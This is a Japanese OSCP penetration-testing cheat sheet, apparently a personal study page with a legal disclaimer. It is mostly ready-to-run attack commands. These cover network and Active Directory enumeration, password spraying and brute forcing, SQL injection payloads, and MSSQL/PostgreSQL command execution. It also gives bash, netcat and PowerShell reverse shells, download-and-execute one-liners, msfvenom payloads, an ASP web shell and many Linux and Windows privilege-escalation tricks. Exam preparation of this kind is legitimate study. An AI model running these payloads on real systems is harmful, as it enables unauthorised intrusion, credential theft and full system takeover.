🙄
OSCPチートシート
本記事について
本記事は社会秩序に反する行為を推奨することを目的としたものではありません。
あくまでも自分自身のペネトレーション勉強のためのものです。
許可されていない環境への攻撃試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があります。
情報収集/初期アクセス取得
nmap
使用例
コマンド
nmap -T4 --script vuln [IP]・・・脆弱性のスキャン
nmap --script smb-vuln* -p135,445 [IP]・・・SMBの脆弱性スキャン
nmap -p445 --script smb-enum-shares [IP]・・・共有アクセス列挙
nmap [IP] -p- | tee nmap_output.txt
awk '/\^[0-9]+\\/tcp/ && /open/ {printf "%s,", \$1}' nmap_output.txt | sed 's/\\/tcp//g' | sed 's/,\$//'
nmap -sC -sV -A -O -p[上記で取得したポート] [IP]
sudo nmap -sC -sV -A -O [IP] -p- -Pn | tee nmap.txt
sudo nmap -sU [IP] | tee udpnmap.txt
オプションの説明
- -sC:スクリプトスキャン
- -sV:バージョン検出
- -P0:pingしないで実行
- -script smb-vuln* -p 139,445 ・・・SMBをスクリプトスキャン
- -T4:高速スキャン、0は低速
- -A:強化スキャン(-sC、-sV、-O)
- -O:OS検出
- -sU:UDPスキャン、通常のnmapで何も見つけられないときは実行
- --min-rate=1000:スキャン高速化
- --open:openしているもののみ表示
検出したポートに対する追加調査
コマンド
nc -nv 192.168.121.143 3003・・・開いているポートに対して実行
rustscan
コマンド
全ポートスキャン
rustscan -a [IP] --range 1-65535 --ulimit 5000
nmapで詳細スキャン
rustscan -a [IP] --range 1-65535 --ulimit 5000 -- -sV -A
redis
コマンド
redis-cli -h [IP]
アクセス後のコマンド
INFO keyspace・・・データベース出力
DBSIZE・・・データベースサイズ確認
enum4linux
使用例
コマンド
enum4linux -S [IP]
enum4linux [IP] -u [ユーザ] -p [パスワード]
オプションの説明
- -a:共有フォルダなどの詳細
- -o:OS情報
- -s:共有情報
crackmapexec
使用例
コマンド
crackmapexec smb [IP] -u username -p password
crackmapexec smb [IP] -u users.txt -p password
crackmapexec ldap [IP]
crackmapexec ssh [IP]
crackmapexec rdp [IP]
crackmapexec smb [パスワード] --users
crackmapexec smb [IP] -u [ユーザ名] -p [パスワード] --sam
※impacket-wmiexec [ユーザ名]@[IP] -hashes [SAMから取得したHASH]
crackmapexec smb [IP] -u [ユーザ名] -p ['パスワード'] -d [ドメイン] --continue-on-success・・・パスワードのスプレーなどで使用、IPは1-10のようなレンジ指定可能
finger tcp79
コマンド
finger-user-enum.pl
https://github.com/pentestmonkey/finger-user-enum
perl finger-user-enum.pl -U [ユーザ名リスト] -t [IP]
rsync tcp873
コマンド
※認証の有無確認
┌──(kali㉿kali)-[~/oscp/pg/fail]
└─$ nc -nv 192.168.179.126 873
(UNKNOWN) [192.168.179.126] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0・・・同じ内容入力、Enter2回
fox fox home
@RSYNCD: EXIT
rsync -av --list-only rsync://IP ・・・共有モジュール列挙
rsync rsync://192.168.179.126/[モジュール名] ・・・ 共有モジュール内の確認
rsync -av rsync://[IP]/[モジュール名]/ . ・・・ファイルのダウンロード
rsync -av [コピー元] rsync://[IP]/[モジュール名]/ ・・・ファイルのアップロード
※「-a」は再帰的にコピーするオプション
DNS
コマンド
ソーン転送
dig [IP] axfr [ドメイン]
dnsenum [IP]
snmp
コマンド
snmp-check [IP]
snmpwalk -t 10 -v [バージョン] -c [コミュニティ名] [IP] > [出力ファイル名]
snmpbulkwalkも同様
※snmpbulkwalkはv2c以上、v1はsnmapwalk
sudo snmpwalk -v1 -c public [IP] NET-SNMP-EXTEND-MIB::nsExtendOutputFull
rdp
コマンド
rdesktop [IP]
RPC
コマンド
rpcclient -U ドメイン名/ユーザー名"" -N [IP]・・・RPCの接続試み、「""」はユーザ名指定なし
※N入れないと認証失敗する場合がある
接続後のコマンド
enumdomusers・・・ユーザ列挙
setuserinfo2 ユーザー名 23 パスワード・・・特定ユーザのパスワード変更
getdompwinfo・・・パスワードポリシー
srvinfo
queryuser
getusername
netshareenum
lookupnames
RIDサイクリング
for i in $(seq 500 2000); do echo "queryuser $i" |rpcclient -U "" -N [IP] 2>/dev/null | grep -i "User Name"; done
rpcinfo [IP]
netコマンドによる列挙・グループ操作
net rpc user -U "[ドメイン]"/"[ユーザ名]"%"[パスワード]" -S "[IP]"
net rpc group members "[グループ名]" -U "[ドメイン]"/"[ユーザ名]"%"[パスワード]" -S "[IP]"
net rpc group addmem "[グループ名]" "[ユーザ名]" -U "[ドメイン]"/"[ユーザ名]"%"[パスワード]" -S "[IP]"
git
コマンド
git-dumper
git clone https://github.com/arthaud/git-dumper.git
git-dumper http://[IP等]/.git .
git log
git diff c9c8e8bd0~ 621a2e79b3~
git show 621a2e79b3~
git checkout -- . ・・・削除されたファイルの復元
mountd(TCP/2049)
コマンド
showmount -e [IP]
showmount -d [IP]・・・マウントされたディレクトリを表示
その後のマウント方法
sudo mount [IP]:/path/to/target /local/directory
AD環境のユーザ名列挙
コマンド
./windapsearch.py -d [ドメイン] --dc-ip [IP] -U
impacket-GetADUsers [ドメイン]/[ユーザ] -dc-ip [IP] -debug
impacket-GetNPUsers -dc-ip [IP] -request [ドメイン]/[ユーザ]
kerbrute
コマンド
ツール取得
https://github.com/ropnop/kerbrute/releases
事前にユーザリストを作成し実行
./kerbrute_linux_amd64 userenum --dc [IP] -d [ドメイン] [ユーザリスト]
ユーザー名が割れていない状態でも実行可能
./kerbrute_linux_amd64 userenum --dc [IP] -d [ドメイン] /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 100
impacket
コマンド
impacket-secretsdump [ドメイン]/[ユーザ名]:'[パスワード]'@[IP]
impacket-secretsdump [ドメイン]/[ユーザ名]@[IP] -hashes [lmhash]:[nthash]
impacket-wmiexec [ドメイン]/[ユーザ名]@[IP] -hashes 00000000000000000000000000000000:[nthash]
LDAP
コマンド
nmap --script "ldap* and not brute" [IP] -p 389 -v -Pn
上記の結果内、「rootDomainNamingContext: DC=XX,DC=XX」をもとに、
ldapsearch -x -H ldap://[IP] -b “dc=XX,DC=XX”
ldapsearch -H [URL:ldap://~] -x -s base namingcontexts
ユーザ列挙
ldapsearch -x -H [URL:ldap://~] -b "dc=XXX,dc=YYY" "(objectClass=person)"
オプションの使用例
- -x:シンプル認証
- -D '':バインドDN指定、空の場合は匿名バインド
- -w '':バインドDNのパスワード指定、空の場合はパスワードなし
dirb
コマンド
dirb [URL] [ワードリストのパス(*1)] -X .sh等の列挙したい拡張子を,区切りで指定
(*1)/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt等
ffuf
コマンド
※Get以外のメソッドを受け付けているエンドポイントの探索
ffuf -u [URL]/FUZZ -w [ワードリスト] -X POST
ffuf -w [ワードリストのパス] -u [URL、ディレクトリ列挙の場合は「/FUZZ」等追加]
ffuf -w [ワードリストのパス] -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u [URL] -mr [エラーメッセージ("username already exists")]・・・ペイロードの例、FUZZ部分が調査対象、-dはボディ部分
ffuf -u [URL]/FUZZ -w [ワードリスト] -X POST・・・GET以外のエンドポイント探索の例
gobuster
コマンド
gobuster dir --url [URL] -w [ワードリストのパス]
gobuster dir -u [URL] -w [ワードリストのパス] -k -t 40・・・-tはスレッド、-kは証明書エラーを無視
gobuster vhost -u [URL] -w [ワードリストのパス] -t 150
gobuster dir -k -u [URL] -w [ワードリストのパス] -s '200,204,301,302,307,403,500' -e -x txt -t 30
gobuster dir -t 50 -u [URL] -w [ワードリストのパス] -f -x php,txt,py,html,png,jpg -o [出力ファイル名] -k
gobuster vhost -u [URL] --domain [DOMAIN] --append-domain -w [ワードリストパス]
※すべてのリクエストに200を返す場合
gobuster dir -u [URL] -w [ワードリストのパス] -t 40 --exclude-length [サイズ]
feroxbuster
コマンド
feroxbuster -u [URL] -w [ワードリスト] --depth [探索する階層数]
feroxbuster -u [URL] \
-w [ワードリスト] \
-x [拡張子] \
-t 100 \
--status-codes 200 \
--dont-filter \
-o result.txt
オプションの説明
- dir...ディレクトリ総当たり
- -t...スレッド数
- -u...URL指定
- -w...wordlistの指定
- -o...ファイル出力
- -f...ディレクトリの末尾に「/」を追加
- -x...拡張子指定(IISなら-x asp,aspx,txt等が有効)
- -k...SSLをスキップ
- -s...ステータスコードの指定
- --dont-scan・・・探索対象外ディレクトリを指定(例:/manual)
dirsearch
コマンド
dirsearch -u [URL]
wpscan
コマンド
wpscan --update
wpscan --url [URL] --enumerate vt,u,vp
- vt:脆弱なテーマ
- u:ユーザ
- vp:脆弱なプラグイン
- ap:すべてののプラグイン
whatweb
コマンド
whatweb [IP]
hydra
コマンド
hydra -l [USERNAME] -P [パスワードリスト] [IP] -s [ポート] http-post-form "[URL]:[メッセージボディ]:F=[ログイン失敗時のメッセージ]" -V -t 64 -I
hydra -l [USERNAME] -P [パスワードリスト] [IP] -V http-form-post "[URL]:[メッセージボディ]:S=Location"・・・F=でうまくいかないとき
※Burp等でリクエストをキャッチしてから実行
hydra -P [ワードリスト] -v [IP] [プロトコル]
hydra -v -V -u -L [ユーザ名リスト] -P [パスワードリスト] -t 1 -u <ip> <protocol>
hydra -t 1 -V -f -l [ユーザ名] -P [パスワードリスト] rdp://[IP]
hydra -L [ユーザファイルパス] -P [パスワードファイルパス] -s [port] ssh://[IP]
※ftpのブルートフォース
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt [IP] ftp
ワードリストの作成例
コマンド
cewl -d 3 -m 7 -w [出力ファイル名] [URL]
オプションの説明
- d 3: 深さ3までのリンクを追跡して単語を収集する指定
- m 7: 最低7文字以上の単語を収集する指定
LFIを利用して読み取りを狙うファイル:
Linux
- /etc/passwd
- /etc/shadow
- /etc/issue
- /etc/group
- /etc/hostname
- /etc/ssh/ssh_config
- /etc/ssh/sshd_config
- /root/.ssh/id_rsa
- /root/.ssh/authorized_keys
- /home/<username>/.ssh/authorized_keys
- /home/<username>/.ssh/id_rsa
- /home/<username>/.ssh/id_ecdsa
- /home/<username>/.ssh/id_ecdsa_sk
- /home/<username>/.ssh/id_ed25519
- /home/<username>/.ssh/id_ed25519_sk
- /home/<username>/.ssh/id_dsa
- /home/<username>/.bash_history
- /proc/self/cmdline
現在実行中のプロセスが起動されたときのコマンドライン引数を確認
※相対パスを2つ重ねることでフィルタを回避できたりする。....//
その他参考リスト
Webのよくあるファイル
- /var/www/html/config.php
- /var/www/config.php
- /etc/apache2/apache2.conf
wfuzzでのLFIファジング
コマンド
wfuzz -c --hh=32 -z file,LFI\ payloads.txt http://[IP]:[PORT]/[path]?[パラメータ]=FUZZ
.htpasswd
コマンド
.htpasswdは、Basic認証で使われるユーザー名と暗号化されたパスワードを保存するファイル
hashcat -m 1600 -a 0 authby.hash ./rockyou.txt
メール関連
コマンド
ユーザリストによる存在確認
smtp-user-enum -M VRFY -U [リストファイル] -t [IP]
メールの配送
sudo swaks -t [宛先] --from [送信元] --attach @[添付ファイル] --server [IP] --body "[本文]" --header "[件名]"
kaliにインストールされたメーラの起動
evolution
コマンド
exiftool -a -u -g -G1 XXX.pdf
SQLITE
コマンド
sqlite3 database.db
favicon
上記のサイトでファビコンのハッシュ値を検索することでWebのフレームワークがわかる場合がある。
その他Web調査
コマンド
nikto -h [URL]
curl -v [URL]
curl -I [URL]・・・ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。
robots.txt,sitemap.xmlの確認
CMSの特定
デフォルトパスワードの入力(パスワード推測)
curl -i [URL] -X POST -H 'Content-Length: 0'
curl [URL] | html2markdown
sqlmap
コマンド
sqlmap -r [データ(*1)] --dbms=mysql --dump
(*1)HTTPリクエストを含むファイル
sqlmap -u [URL] -D [DATABASE] --tables
sqlmap -u [URL] -D [DATABASE] -T [TABLE] --columns
sqlmap -u [URL] -D [DATABASE] -T [TABLE] -C fullname,is_admin,password,email --dum
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dum
sqlmap -r [データ(*1)] -p [パラメータ] --level 5 --risk 3 --batch --threads 10 --dbs
オプションの説明
-
-
--dbms=mysql:データベースの種類を指定
-
-
--dump:データベースの内容をダンプ - -r:リクエストのテキストファイル
- -u:対象URL指定
- --batch:バッチモードで実行、対話的なプロンプトが表示されず自動的に検証が行われる。
- -D:データベース名指定
- -T:指定したデータベース内のテーブル名を指定
- --level:テストのレベル、5が最大で一番詳細
- --risk:リスクの高いテストも実施、3が最大
- --dbs:データベース一覧を取得
- -p:インジェクションをテストするパラメータ指定
SQLインジェクション(認証)
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
/\*\*/or/\*\*/1=1#・・・空白をコメントに置き換える手法
MS SQL
コマンド
MSSQLへのアクセス
impacket-mssqlclient [ユーザ名]:'[パスワード]'@[IP] -windows-auth
コマンドの有効化
EXECUTE sp_configure 'show advanced options', 1;--
RECONFIGURE;--
EXEC sp_configure "xp_cmdshell", 1;--
RECONFIGURE;--
その他コマンド
xp_dirtree \\[IP]
※SMBのアクセス、responderなどと併用
sudo responder -I tun0 -v
ユーザ偽装
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
上記で確認できたユーザ名で
EXECUTE AS LOGIN = '[ユーザ名]'
PostgreSQL
コマンド
psql -h [IP] -U [ユーザ名]
ログイン後
\ du・・・権限の確認
リバースシェル取得
#POC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/[ローカルIP]/[ローカルポート] 0>&1' ;
相手がプロキシの時の列挙
コマンド
curl -x http://[相手のIP]:[プロキシポート] http://[相手のIP]:[探索したいポート]
※「-x」はcurlのプロキシ指定
SMB経由の攻撃
コマンド
smbclient //[IP]/[フォルダ名]
smbclient \\\\[IP]\\[フォルダ名](SMB接続)
smbclient //[IP] -U "[ユーザ名]%[パスワード]"
smbclient -L [IP] -N (-Lは共有列挙、-Nは認証情報省略)
smbmap -H [IP](SMB共有の列挙、-Hはホスト指定)
smbmap -u null -p null -H [IP] -s [対象のフォルダ] -R [ツリーを作成する始点パス]
crackmapexec smb [IP] --shares(共有フォルダの列挙)
crackmapexec smb [IP] -u [ユーザ名] -p '[パスワード]' -d [ドメイン] --users
crackmapexec smb [ホスト] -u [ユーザ名] -p '[パスワード]'
impacket-lookupsid [ドメイン]/[ユーザ名]:'[パスワード]'@[ドメイン]
SMB接続の例
コマンド
mkdir share
impacket-smbserver public share -smb2support -username [USERNAME] -password [PASSWORD]
(publicはWindows側から見える名前、shareはKaliのフォルダ)
リモート側にて
net use \\[LOCALIP]\public /user:kali kali
copy [リモートのファイルパス(C:\Users~)] \\[LOCALIP]\public\
impacket-psexec
コマンド
impacket-psexec [ユーザ名]:'[パスワード]'@[IP]
impacket-psexec -hashes :[HASH] [DOMAIN]\[USER]@[IP]
evil-winrm
evil-winrm -i [IP] -u [ユーザ名] -p "[パスワード]"
evil-winrm -i [IP] -u [ユーザ名] -H "[NTLMハッシュ]"
オプションの説明
- -H:hash値で接続
- WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用
cgms? port 3003
コマンド
nc -nv [IP] 3003
version
以下の結果があれば脆弱性あり
Aerospike Community Edition build 5.1.0.1
wget https://raw.githubusercontent.com/b4ny4n/CVE-2020-13151/master/cve2020-13151.py
python3 cve2020-13151.py --ahost=192.168.208.143 --aport=3000 --pythonshell --lhost=192.168.45.208 --lport=443
nc -nlvp 443
※なかなか刺さらないときがあるので何度か実行
john
コマンド
john -w=./rockyou.txt user.hash
john --show user.hash
hashcat
HASHの形式特定
コマンド
hash-identifierでhash形式の特定
https://hashcat.net/wiki/doku.php?id=example_hashes
使い方
コマンド
hashcat -m [hash形式] -a [タイプ] [hash値のファイル] [ワードリスト]
オプション
- -m:hash値の形式(MD5:0、NTLM:1000)
- -a:攻撃タイプの指定、「0」なら単語リストを使用したストレート攻撃
powercat.ps1
コマンド
IEX(New-Object System.Net.WebClient).DownloadString('[URL]/powercat.ps1');powercat -c [IP] -p [PORT] -e powershell
ペイロードのエンコード例
コマンド
$Text = '$client = New-Object System.Net.Sockets.TCPClient("[IP]",[ポート]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
スプレーコマンド
コマンド
crackmapexec smb [IP、-でレンジ指定可能] -u [ユーザ名orリスト] -p [パスワード or リスト] --continue-on-success -d [ドメイン]
crackmapexec smb [IP] -u [ユーザ名] -p '[パスワード]' --local-auth
nxc rdp [IP、-でレンジ指定可能] -u [ユーザ名orリスト] -p [パスワード or リスト] --local-auth
nxc winrm [IP、-でレンジ指定可能] -u [ユーザ名orリスト] -p [パスワード or リスト] --local-auth
NTLMハッシュのスプレー
crackmapexec winrm $IP -u names.txt -H ハッシュ
msf
msfconsole
コマンド
set payload windows/x64/shell/reverse_tcp
※ctrl+zでバックグラウンド実行
※そのあとで権限昇格
sessions -lで一覧表示
sessions -i 番号で復帰
upload /home/kali/thm/PowerUp.ps1
load powershell
powershell_shell
msfconsoleで追加モジュール使用など
コマンド
meterpreter のチェック
msf5 exploit(multi/handler) > sessions -i 1
meterpreter > load stdapi
meterpreter > sysinfo
アーキテクチャが違うなどある場合は以下のような方法で移行
meterpreter > ps
meterpreter > migrate 1148
suggester を使う
meterpreter > background
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1
msf5 post(multi/recon/local_exploit_suggester) > run
Windowsに対する操作
コマンド
load powershell → powershell_shell:Powershell起動
ctrl + zでバックグランド、channelコマンドで復帰
shell:CMD起動、exitで抜ける
powershell_shell
shell
exit
msfvenom
コマンド
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -o [ファイル名]
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -service -o [ファイル名.exe]・・・msfvebnomでのサービス用exe作成
msfvenom -p php/reverse_php LHOST=[IP] LPORT=[PORT] -f raw > [ファイル名.php]
リバースシェルコマンド
コマンド
/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT]'
bash -i >& /dev/tcp/[IP]/[PORT] 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [IP] [PORT] >/tmp/f
Zerologon
コマンド
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
https://github.com/risksense/zerologon
hoaxshell
コマンド
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
python3 -m venv myenv
source myenv/bin/activate
sudo pip3 install -r requirements.txt
chmod +x [hoaxshell.py](http://hoaxshell.py/)
WebDAV
コマンド
wsgidav --host=0.0.0.0 --port=9000 --auth=anonymous --root /home/webdav/
here is the config.Library-ms:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.XX.219:9000</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
.lnk payload:
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.XX.219/powercat.ps1'); powercat -c 192.168.XX.219 -p 445 -e powershell"
Webserver for Payload started as:
python3 -m http.server 80
WebDAVへのアクセス
コマンド
cadaver http://[リモートホスト]
※ユーザ名/パスワードが必要
ASPのリバースシェル
cmd.asp
<%
Dim cmd, shell, exec, output
cmd = Request.QueryString("cmd")
Set shell = Server.CreateObject("WScript.Shell")
Set exec = shell.Exec("cmd.exe /c " & cmd)
output = exec.StdOut.ReadAll()
Response.Write("<pre>" & output & "</pre>")
%>
上記をcmd.aspとして保存しアップロードする。
http://[リモートホスト]/cmd.asp?cmd=任意のコマンドで実行できる
powershell(base64)のリバースシェルを実行できる。
PWSH
コマンド
kali@kali:~$ pwsh
PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
PS> exit
sshポートフォワーディング
コマンド
ssh -L 10000:localhost:10000 [USERNAME]@[IP]
一つ目の「-L 10000」にアクセスすると、SSHで接続しているマシンを踏み台にして「localhost:10000」にアクセスする
ssh -i id_rsa [リモートユーザ名]@[リモートホスト] -L [ローカルポート]:127.0.0.1:[リモートポート]
※使用例
-L 8000:127.0.0.1:8000
8000: : ローカルマシンのポート番号。ここにアクセスするとトンネルが使われる。
127.0.0.1:8000 : リモートサーバーのループバックアドレスとリモートサーバー側でアクセスするポート番号
wordpress攻略
コマンド
WordPress 管理パネルにログインし、左側の[Appearance] > [Editor]と選択。
Templateをリバースシェルコードと置き換え。
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");
?>
nc
コマンド
nc.exe [IP] [ポート] -e powershell
Redis RCE(5.05以下)
権限昇格
Linux
コマンド
hostname
uname -a
uname -r
/proc/version
/etc/issue
ps aux or pgrep -a .
ps -A
env
sudo -l
id
cat /etc/passwd | cut -d ":" -f 1
history
ifconfig
netstat
ls -l /etc/shadow
crontab -l
ls /etc/cron.d
ss -tuln
ps auxww
lse.sh(linpeas.sh類似)
コマンド
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
./lse.sh -l2
※lは1~3段階で設定可能
idの結果
コマンド
※sudoグループにいる場合
$ id uid=1001(yuki) gid=1001(yuki) groups=1001(yuki),27(sudo)
sudo -l
でできることを確認
chisel
コマンド
アクセスしたマシンのローカルポートの調査等
kali側
chisel server --reverse -p [待ち受けポート]
リモート側
./chisel client [kaliのIP]:[待ち受けポート] R:[kaliのポート]:127.0.0.1:[アクセスしたマシンのポート]
Capabilities
コマンド
確認コマンド
getcap -r / 2>/dev/null
出力結果の例
/usr/bin/python3.10 cap_setuid=ep
権限昇格
/usr/bin/python3.10 -c 'import os;os.setuid(0);os.system("/bin/bash")'
Makefile
sudoでmake実行可能な場合
Makefile
install:
# Set SUID bit on /bin/bash to escalate privileges
sudo chmod +s /bin/bash
.PHONY: install
- Makefileはタブを使う
- .PHONY: installはコマンド実行の意
上記実行後に以下を実行
コマンド
/bin/bash -p
書き込み可能な/etc/passwd
コマンド
新たにユーザを追加する方法
openssl passwd -6 [パスワードに指定する文字列]
echo "[ユーザ名]:[上記の結果]:0:0:root:/root:/bin/bash" >> /etc/passwd
tar *
コマンド
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
shell.shの作成
echo '#!/bin/bash' > shell.sh
echo "busybox nc [IP] [PORT] -e bash" >> shell.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] '" >> shell.sh
echo "/bin/chmod 4755 /bin/bash" >> shell.sh・・・この後は/bin/bash
/etc/passwdと/etc/shadowからのベクトル
コマンド
unshadow passwd.txt shadow.txt > passwd.db
john passwd.db
SGID、SUIDの探索
コマンド
find / -perm -4000 2> /dev/null
find / -perm -u=s -type f 2>/dev/null | grep -v snap
find / \( -perm -4000 -or -perm -2000 \) -type f -exec ls -la {} \;
ls -al ~/;ls -al /home/* / /home/*/.bash_histroy
SUIDのついたarj
コマンド
1.SUIDファイルを列挙してarjを確認
find / -perm -u=s -exec ls -l {} \; 2>/dev/null
2./etc/sudoers をアーカイブ化(root権限で読み取り)
arj a sudoers_fox /etc/sudoers
3.アーカイブから抽出して保存
arj p sudoers_fox.arj > raw_sudoers
4.ARJの余計な出力を除去
※vi等で
5.sudo権限を追加(rootの下に)
[ユーザ名] ALL=(ALL:ALL) NOPASSWD:ALL
6.再アーカイブ(ファイル名は sudoers にする)
arj a sudoers_fixed sudoers
7./etc/sudoers に上書き抽出
arj e sudoers_fixed.arj /etc
8.root昇格
sudo su
/bin/bashへの操作
コマンド
cp /bin/bash /tmp/hacked; chmod +xs /tmp/hacked
/tmp/hacked -p
Pythonスクリプトの差し替え
コード
import os;
os.system( "/bin/bash" )
pspy
コマンド
./pspy64 -pf -i 1000
スクリプトがroot権限で実行可能な場合
コマンド
Perlの場合:sudo /usr/bin/perl -e 'exec "/bin/bash";'
Pythonの場合:sudo python3 -c 'import os; os.system("/bin/bash")'
AWKの場合:sudo awk 'BEGIN {system("/bin/bash")}'
Rubyの場合:exec "/bin/bash -i"
sudoers
コマンド
echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers
bash関連
コマンド
cp /bin/bash . && chmod +s ./bash
chmod u+s /bin/bash
SUID付与後
/bin/bash -p -i
inetd.conf
コマンド
echo '[ポート] stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf
※上記実行後にkaliからncで接続する
PATHハイジャック
コマンド
PATHハイジャック(可能な限り絶対パスを使用してプログラムを実行することが推奨)
export PATH=/home/XXX:$PATH(自身の実行したいプログラムをPATHの先頭に置く)
SUID(systemctl)
コマンド
1.ペイロードを準備する:root.service
2.書き込み可能なファイル/ディレクトリを見つける。
find / -type f -maxdepth 2 -writable
find / -perm -u=s -type f 2>/dev/null
find / -type d -maxdepth 2 -writable
find / -writable -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
find / -perm -222 -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
find / -perm -o w -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
3.ペイロードを転送または、vi を使用してそこにファイルを書き込む
4.nc待ち受け
5.ペイロードを実行
- /bin/systemctl enable /tmp/root.service
- /bin/systemctl start root
※root.service
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
[Install]
WantedBy=multi-user.target
Windows
コマンド
whoami /priv
whoami /fqdn
whoami /groups
net user [ユーザ名]
グループ取得
net localgroup
Get-LocalGroup
Get-LocalGroupMember [グループ名]
ユーザの所属するグループ確認
net user [ユーザ名]
Get-LocalUser | Where-Object { $_.Name -eq "[ユーザ名]" } | Select-Object Name, LocalGroups
保存された資格情報の確認
cmdkey /list
ヒストリ
Get-History
プロセス
Get-Process
タスク
schtasks /query /fo LIST /v
Get-ScheduledTask
schtasks | FIND "[キーワード]"
インストールされたもの
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
「ProgramFiles」配下の確認
(Get-WmiObject Win32_ComputerSystem).PartOfDomain・・・ドメイン参加か?
schtasks /query /fo LIST /v・・・タスクスケジューラの確認
runas /user:[ユーザ名] [コマンド、cmd等]
setまたはGet-ChildItem Env:・・・環境変数の列挙
net user /domain
icacls "C:\scheduler"
※結果の見方
Mask Permissions
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access
Get-Acl [ファイルパス、C:\~] | fl
パスワード変更
net user administrator password
※パスワードを「password」に変更
ユーザ追加
net user [ユーザ名] [パスワード] /add
net localgroup Administrators [ユーザ名] /add
net localgroup "Remote Desktop Users" [ユーザ名] /add
PATHの編集
set PATH=%SystemRoot%\system32;%SystemRoot%;
テキストファイルの探索例
get-childitem -path C:\\Users\\ -include *.txt -file -recurse -erroraction silentlycontinue
SeManageVolumePrivilege
コマンド
exeの入手先
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public?source=post_page-----b95d3146cfe9---------------------------------------
上記を実行後、C:\Windows\System32\wbemにdllを書き込み
書き込むdll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f dll -o tzres.dll
※tzres.dllはsysteminfo.exeがロードするDLL名
systeminfo実行
RunAs
コマンド
スクリプトの入手先
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1?source=post_page-----b95d3146cfe9---------------------------------------
他のユーザーとしてコマンドを実行
